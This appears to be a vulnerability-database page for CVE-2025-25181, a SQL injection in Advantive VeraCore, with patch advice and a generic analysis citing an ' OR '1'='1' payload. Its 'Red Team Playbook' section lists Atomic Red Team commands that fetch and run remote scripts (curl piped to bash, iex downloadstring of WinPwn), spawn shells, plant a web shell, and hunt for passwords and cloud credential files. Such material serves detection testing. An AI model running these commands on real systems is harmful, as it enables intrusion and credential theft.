CVE-2025-25181
Overview
This vulnerability is a SQL injection flaw caused by improper input validation in the Advantive VeraCore application. Specifically, the timeoutWarning.asp component concatenates the user-supplied PmSess1 parameter directly into SQL queries without sanitization. This lack of parameterization or escaping in the database query construction enables injection of arbitrary SQL commands.
Vulnerability Description
A SQL injection vulnerability in timeoutWarning.asp in Advantive VeraCore through 2025.1.0 allows remote attackers to execute arbitrary SQL commands via the PmSess1 parameter.
Impact
An unauthenticated attacker can exploit this vulnerability remotely to execute arbitrary SQL commands on the backend database. This capability allows unauthorized data access, modification, or deletion within the application’s database. The attacker can leverage this access to compromise system integrity, extract sensitive information, or facilitate further lateral movement within the network. No user interaction or credentials are required to trigger the exploit, increasing the attack surface and potential for data breach or operational disruption.
Solution
Advantive has released patches addressing this SQL injection issue in VeraCore version 2025.1.1 and later. Users should apply the latest updates as detailed in the vendor’s support portal at https://advantive.my.site.com/support/s/knowledge. No specific workaround is documented; therefore, upgrading to the fixed version is the recommended remediation to eliminate the injection vector.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The identified SQL injection vulnerability in the Advantive VeraCore application presents a significant security risk, allowing attackers to manipulate database queries through unsanitized input. Specifically, the vulnerability resides in the timeoutWarning.asp file, where the PmSess1 parameter can be exploited to execute arbitrary SQL commands. This flaw arises from inadequate input validation and sanitization, which is a common oversight in web application development. Attackers can leverage this weakness to craft malicious payloads that can alter the intended SQL queries, potentially leading to unauthorized data access, data manipulation, or even complete database compromise.
Exploitation of this vulnerability can occur through various attack vectors. An attacker may initiate a request to the affected application, appending crafted SQL commands to the PmSess1 parameter. For instance, by injecting SQL syntax such as ' OR '1'='1', the attacker could bypass authentication checks or retrieve sensitive data from the database. The ease of executing such an attack is exacerbated by the potential for remote exploitation, meaning that an attacker does not need physical access to the network or system. This remote capability broadens the attack surface, allowing malicious actors to target organizations from anywhere in the world, making it a pressing concern for organizations utilizing this software.
The real-world impact of this vulnerability can be profound, particularly for businesses relying on the Advantive VeraCore application for critical operations. Successful exploitation could lead to unauthorized access to sensitive customer information, financial records, or proprietary business data. This not only poses a risk to the integrity and confidentiality of the data but also exposes organizations to regulatory scrutiny and potential legal ramifications. The financial implications can be severe, including costs associated with incident response, reputation damage, and potential fines from regulatory bodies. Furthermore, the trust of clients and stakeholders may be compromised, leading to long-term business risks.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including penetration testing and code reviews, can help identify and remediate vulnerabilities before they are exploited. Employing web application firewalls (WAFs) can provide an additional layer of defense by filtering out malicious traffic and blocking known attack patterns. Additionally, developers should prioritize secure coding practices, ensuring that all user inputs are properly validated and sanitized. Utilizing prepared statements and parameterized queries can significantly reduce the risk of SQL injection attacks. Organizations should also maintain an up-to-date inventory of their software and promptly apply security patches and updates provided by vendors.
In conclusion, the SQL injection vulnerability in Advantive VeraCore underscores the critical need for robust security practices in web application development and deployment. The potential for remote exploitation highlights the importance of proactive measures to safeguard sensitive data and maintain business integrity. By adopting comprehensive detection and mitigation strategies, organizations can significantly reduce their risk exposure and enhance their overall security posture against such vulnerabilities.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Advantive | Veracore | All |
cpe:2.3:a:advantive:veracore:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-25181 |
| advantive.my.site.com |
GitHub CVE
|
https://advantive.my.site.com/support/s/knowledge |
| intezer.com |
GitHub CVE
|
https://intezer.com/blog/research/xe-group-exploiting-zero-days/ |
| solissecurity.com |
GitHub CVE
|
https://www.solissecurity.com/en-us/insights/xe-group-from-credit-card-skimming-to-exploiting-zero-days/ |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-25181 |